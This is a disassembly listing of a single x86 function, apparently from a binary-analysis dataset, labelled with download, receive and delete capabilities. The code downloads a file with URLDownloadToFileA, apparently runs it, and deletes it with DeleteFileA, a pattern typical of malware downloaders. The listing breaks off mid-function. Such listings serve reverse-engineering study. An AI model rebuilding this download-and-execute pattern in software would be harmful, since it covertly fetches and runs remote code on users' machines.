Function at 0x40c9dc
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffe60
push ebx
push esi
push edi
mov dword [ebp - 0x184], eax
lea ebx, [ebp - 0x180]
mov edi, 0x4ceec3
mov eax, 0x4cf544
call fcn.0048c270
mov word [ebx + 0x10], 0x14
mov edx, edi
lea eax, [ebp - 4]
call fcn.00497ebc
inc dword [ebx + 0x1c]
mov edx, edi
mov word [ebx + 0x10], 8
mov word [ebx + 0x10], 0x20
lea eax, [ebp - 8]
call fcn.00497ebc
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 8
mov dword [ebp - 0x18c], 1
cmp dword [ebp - 0x18c], 0xf0
ja 0x40ca60
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x188], edx
jmp 0x40ca72
mov ecx, dword [ebp - 0x18c]
sub ecx, 0xf0
mov dword [ebp - 0x188], ecx
mov word [ebx + 0x10], 0x2c
mov edx, edi
lea eax, [ebp - 0xc]
call fcn.00497ebc
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00498000
test byte [ebp - 0x18c], 1
jne 0x40cabc
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x34
call fcn.00498030
jmp 0x40cacd
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x30
call fcn.00498030
mov word [ebx + 0x10], 0x38
mov edx, edi
lea eax, [ebp - 0x10]
call fcn.00497ebc
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.004980e4
push eax
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00498000
pop ecx
test cl, cl
jne 0x40dddd
push edi
mov esi, 0x4cdeb4
lea edi, [ebp - 0x5a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
cmp dword [ebp - 8], 0
je 0x40cb2d
mov eax, dword [ebp - 8]
mov esi, dword [eax - 4]
jmp 0x40cb2f
xor esi, esi
dec esi
test esi, esi
jbe 0x40cc0a
mov dword [ebp - 0x190], esi
mov eax, dword [ebp - 0x190]
push eax
lea edx, [ebp - 8]
push edx
call fcn.00497e38
add esp, 8
lea eax, [ebp - 8]
call fcn.00498114
mov edx, dword [ebp - 0x190]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x2f
je 0x40cba0
mov dword [ebp - 0x194], esi
mov eax, dword [ebp - 0x194]
push eax
lea edx, [ebp - 8]
push edx
call fcn.00497e38
add esp, 8
lea eax, [ebp - 8]
call fcn.00498114
mov edx, dword [ebp - 0x194]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x5c
jne 0x40cc01
push 0x400
xor eax, eax
mov word [ebx + 0x10], 0x44
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x14]
push edx
inc dword [ebx + 0x1c]
cmp dword [ebp - 8], 0
je 0x40cbc5
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx - 4]
jmp 0x40cbc7
xor ecx, ecx
lea edx, [esi + 1]
lea eax, [ebp - 8]
call fcn.0049816c
cmp dword [ebp - 0x14], 0
je 0x40cbdd
mov eax, dword [ebp - 0x14]
jmp 0x40cbdf
mov eax, edi
push eax
lea edx, [ebp - 0x5a0]
push edx
call fcn.00411b40
add esp, 0xc
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00498000
jmp 0x40cc0a
dec esi
test esi, esi
ja 0x40cb38
mov ecx, dword [0x4ce2b5]
lea edx, [edi + 2]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [0x4ce2b9]
mov dword [ebp - 0x19c], ecx
mov cx, word [0x4ce2bd]
mov word [ebp - 0x198], cx
lea ecx, [ebp - 0x1a0]
mov word [ebx + 0x10], 8
mov eax, dword [ebp - 0x188]
push eax
push edx
push 0xa
push ecx
call fcn.0048ebac
add esp, 0x10
push edi
mov esi, 0x4ce2c0
lea edi, [ebp - 0x9a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
call fcn.00402b58
push eax
lea eax, [ebp - 0x9a0]
push eax
call fcn.00411b40
add esp, 0xc
push 0x400
lea edx, [ebp - 0x9a0]
push edx
call fcn.00412194
add esp, 8
push 0x400
lea ecx, [ebp - 0x1a0]
push ecx
lea eax, [ebp - 0x9a0]
push eax
call fcn.00411af8
add esp, 0xc
push 0x400
lea edx, [ebp - 0x5a0]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.00411af8
add esp, 0xc
mov esi, 0x4ce6c1
mov ecx, 0x100
lea eax, [ebp - 0x9a0]
push edi
lea edi, [ebp - 0xda0]
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
push eax
lea edx, [ebp - 0xda0]
push edx
call fcn.00411b40
add esp, 0xc
push 0x400
lea ecx, [edi + 7]
push ecx
lea eax, [ebp - 0xda0]
push eax
call fcn.00411af8
add esp, 0xc
push 0x400
lea edx, [edi + 0x1c]
push edx
lea ecx, [ebp - 0xda0]
push ecx
call fcn.00411af8
add esp, 0xc
push 0x400
mov eax, dword [ebp - 0x184]
add eax, 0x38
cmp dword [eax], 0
je 0x40cd40
mov edx, dword [eax]
jmp 0x40cd42
mov edx, edi
push edx
lea eax, [ebp - 0xda0]
push eax
call fcn.00411af8
add esp, 0xc
cmp dword [ebp - 0x18c], 1
jne 0x40ce21
mov word [ebx + 0x10], 0x50
xor ecx, ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x18]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x1e]
call fcn.00498250
lea eax, [ebp - 0x18]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x1c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x1c]
pop eax
call fcn.00498058
lea eax, [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x24], edx
lea ecx, [ebp - 0x24]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.00498058
lea edx, [ebp - 0x24]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40ce13
mov ecx, dword [ebp - 4]
jmp 0x40ce15
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
jmp 0x40ceee
cmp dword [ebp - 0x18c], 0xf1
jne 0x40ceee
mov word [ebx + 0x10], 0x5c
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x28]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x56]
call fcn.00498250
lea eax, [ebp - 0x28]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x2c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x30]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x2c]
pop eax
call fcn.00498058
lea eax, [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x34], edx
lea ecx, [ebp - 0x34]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.00498058
lea edx, [ebp - 0x34]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40cee5
mov ecx, dword [ebp - 4]
jmp 0x40cee7
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
mov word [ebx + 0x10], 0x68
xor eax, eax
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.0043d1cc
lea edx, [ebp - 0x70]
xor ecx, ecx
push edx
mov dword [ebp - 0x60], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0x60]
push ecx
xor eax, eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x38]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x7f]
call fcn.00498250
lea edx, [ebp - 0x38]
push edx
lea edx, [edi + 0x48]
lea eax, [ebp - 0x3c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x3c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x40]
pop eax
call fcn.00498058
lea eax, [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x44], edx
lea ecx, [ebp - 0x44]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.00498058
lea eax, [ebp - 0x44]
push eax
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x48]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x4c], eax
lea edx, [ebp - 0x48]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x4c]
pop eax
call fcn.00498058
lea edx, [ebp - 0x4c]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x50]
call fcn.00497ebc
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x54]
inc dword [ebx + 0x1c]
pop eax
call fcn.00498058
lea edx, [ebp - 0x54]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x58]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x5c], eax
lea edx, [ebp - 0x58]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x5c]
pop eax
call fcn.00498058
lea eax, [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x64], edx
lea ecx, [ebp - 0x64]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0x64]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x68]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x6c], eax
lea edx, [ebp - 0x68]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x6c]
pop eax
call fcn.00498058
lea eax, [ebp - 0x6c]
xor edx, edx
mov dword [ebp - 0x74], edx
lea ecx, [ebp - 0x74]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0x74]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40d160
mov ecx, dword [ebp - 4]
jmp 0x40d162
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
push edi
mov esi, 0x4ceac2
lea edi, [ebp - 0x11a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
push 0x400
cmp dword [ebp - 8], 0
je 0x40d193
mov eax, dword [ebp - 8]
jmp 0x40d195
mov eax, edi
push eax
lea edx, [ebp - 0x11a0]
push edx
call fcn.00411b40
add esp, 0xc
lea ecx, [ebp - 0x11a0]
push ecx
call sub.WININET.DLL_DeleteUrlCacheEntry
push 0
push 0
lea eax, [ebp - 0x9a0]
push eax
lea edx, [ebp - 0x11a0]
push edx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov esi, eax
test esi, esi
jne 0x40d738
mov word [ebx + 0x10], 0x74
xor eax, eax
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xb4], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.0043d1cc
lea edx, [ebp - 0xb4]
xor ecx, ecx
push edx
mov dword [ebp - 0xa4], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xa4]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0xa4]
push ecx
xor eax, eax
mov dword [ebp - 0x78], eax
lea ecx, [ebp - 0x78]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0xc0]
call fcn.00498250
lea edx, [ebp - 0x78]
push edx
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x7c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x80], eax
lea edx, [ebp - 0x7c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x80]
pop eax
call fcn.00498058
lea edx, [ebp - 0x80]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x84]
call fcn.00497ebc
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x88]
inc dword [ebx + 0x1c]
pop eax
call fcn.00498058
lea edx, [ebp - 0x88]
push edx
lea edx, [edi + 0xde]
lea eax, [ebp - 0x8c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x90], eax
lea edx, [ebp - 0x8c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x90]
pop eax
call fcn.00498058
lea edx, [ebp - 0x90]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.004112d8
pop ecx
mov edx, eax
lea eax, [ebp - 0x94]
call fcn.00497ebc
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x98]
inc dword [ebx + 0x1c]
pop eax
call fcn.00498058
lea edx, [ebp - 0x98]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x9c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0x9c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xa0]
pop eax
call fcn.00498058
lea eax, [ebp - 0xa0]
xor edx, edx
mov dword [ebp - 0xa8], edx
lea ecx, [ebp - 0xa8]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0xa8]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xac]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xb0], eax
lea edx, [ebp - 0xac]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xb0]
pop eax
call fcn.00498058
lea eax, [ebp - 0xb0]
xor edx, edx
mov dword [ebp - 0xb8], edx
lea ecx, [ebp - 0xb8]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0xb8]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40d504
mov ecx, dword [ebp - 4]
jmp 0x40d506
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
xor eax, eax
mov word [ebx + 0x10], 0x80
mov dword [ebp - 0xdc], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xdc]
call fcn.0043d1cc
lea edx, [ebp - 0xdc]
xor ecx, ecx
push edx
mov dword [ebp - 0xcc], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xcc]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0xcc]
push ecx
lea edx, [ebp - 0xda0]
lea eax, [ebp - 0xbc]
call fcn.00497ebc
inc dword [ebx + 0x1c]
mov edx, eax
xor eax, eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], eax
lea eax, [edi + 0xe5]
inc dword [ebx + 0x1c]
call fcn.00498250
lea edx, [ebp - 0xc0]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xc4]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xc8], eax
lea edx, [ebp - 0xc4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xc8]
pop eax
call fcn.00498058
lea eax, [ebp - 0xc8]
xor edx, edx
mov dword [ebp - 0xd0], edx
lea ecx, [ebp - 0xd0]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0xd0]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xd4]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xd8], eax
lea edx, [ebp - 0xd4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xd8]
pop eax
call fcn.00498058
lea eax, [ebp - 0xd8]
xor edx, edx
mov dword [ebp - 0xe0], edx
lea ecx, [ebp - 0xe0]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0xe0]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40d70b
mov ecx, dword [ebp - 4]
jmp 0x40d70d
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
push 1
push 1
lea eax, [ebp - 0xda0]
push eax
call fcn.0040ffe8
add esp, 0xc
lea edx, [ebp - 0x9a0]
push edx
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x40dddd
cmp esi, 0x8007000e
jne 0x40d92a
mov word [ebx + 0x10], 0x8c
xor eax, eax
lea edx, [ebp - 0x100]
mov dword [ebp - 0x100], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.0043d1cc
lea edx, [ebp - 0x100]
xor ecx, ecx
push edx
mov dword [ebp - 0xf0], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xf0]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0xf0]
push ecx
xor eax, eax
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0xe4]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x103]
call fcn.00498250
lea edx, [ebp - 0xe4]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xe8]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xec], eax
lea edx, [ebp - 0xe8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xec]
pop eax
call fcn.00498058
lea eax, [ebp - 0xec]
xor edx, edx
mov dword [ebp - 0xf4], edx
lea ecx, [ebp - 0xf4]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0xf4]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xf8]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xf8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xfc]
pop eax
call fcn.00498058
lea eax, [ebp - 0xfc]
xor edx, edx
mov dword [ebp - 0x104], edx
lea ecx, [ebp - 0x104]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0x104]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xfc]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40d91c
mov ecx, dword [ebp - 4]
jmp 0x40d91e
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
jmp 0x40ddbd
cmp esi, 0x800c0008
jne 0x40db1c
mov word [ebx + 0x10], 0x98
xor eax, eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x124], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.0043d1cc
lea edx, [ebp - 0x124]
xor ecx, ecx
push edx
mov dword [ebp - 0x114], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x114]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0x114]
push ecx
xor eax, eax
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x108]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x131]
call fcn.00498250
lea edx, [ebp - 0x108]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x10c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x110], eax
lea edx, [ebp - 0x10c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x110]
pop eax
call fcn.00498058
lea eax, [ebp - 0x110]
xor edx, edx
mov dword [ebp - 0x118], edx
lea ecx, [ebp - 0x118]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0x118]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x11c]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x120], eax
lea edx, [ebp - 0x11c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x120]
pop eax
call fcn.00498058
lea eax, [ebp - 0x120]
xor edx, edx
mov dword [ebp - 0x128], edx
lea ecx, [ebp - 0x128]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0x128]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40db0e
mov ecx, dword [ebp - 4]
jmp 0x40db10
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
jmp 0x40ddbd
mov word [ebx + 0x10], 0xa4
xor eax, eax
lea edx, [ebp - 0x158]
mov dword [ebp - 0x158], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.0043d1cc
lea edx, [ebp - 0x158]
xor ecx, ecx
push edx
mov dword [ebp - 0x148], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 0x188]
call fcn.0043d1cc
lea ecx, [ebp - 0x148]
xor eax, eax
push ecx
mov dword [ebp - 0x138], eax
inc dword [ebx + 0x1c]
mov eax, esi
lea edx, [ebp - 0x138]
call fcn.00402aec
lea edx, [ebp - 0x138]
push edx
xor ecx, ecx
mov dword [ebp - 0x12c], ecx
lea ecx, [ebp - 0x12c]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x169]
call fcn.00498250
lea eax, [ebp - 0x12c]
push eax
lea edx, [edi + 0x191]
lea eax, [ebp - 0x130]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x134], ecx
lea ecx, [ebp - 0x134]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x130]
pop eax
call fcn.00498058
lea eax, [ebp - 0x134]
xor edx, edx
mov dword [ebp - 0x13c], edx
lea ecx, [ebp - 0x13c]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0x13c]
push eax
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x140]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x144], eax
lea edx, [ebp - 0x140]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x144]
pop eax
call fcn.00498058
lea eax, [ebp - 0x144]
xor edx, edx
